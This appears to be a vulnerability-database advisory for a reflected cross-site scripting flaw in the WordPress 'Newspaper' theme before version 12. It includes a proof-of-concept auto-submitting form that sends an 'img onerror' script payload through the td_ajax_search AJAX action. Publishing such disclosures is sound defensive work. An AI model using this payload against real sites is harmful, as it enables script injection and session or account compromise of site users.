Themes Vulnerabilities
Newspaper < 12 - Reflected Cross-Site Scripting
Description
The theme does not sanitise a parameter before outputting it back in an HTML attribute via an AJAX action, leading to a Reflected Cross-Site Scripting.
Proof of Concept
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="td_ajax_search" />
<input type="hidden" name="td_string" value="<img src=a onerror=alert(/XSS/)>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Affects Themes
Fixed in 12 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Ramon Dunker
Submitter
Ramon Dunker
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-10-10 (about 1 years ago)
Added
2022-10-10 (about 1 years ago)
Last Updated
2022-10-10 (about 1 years ago)
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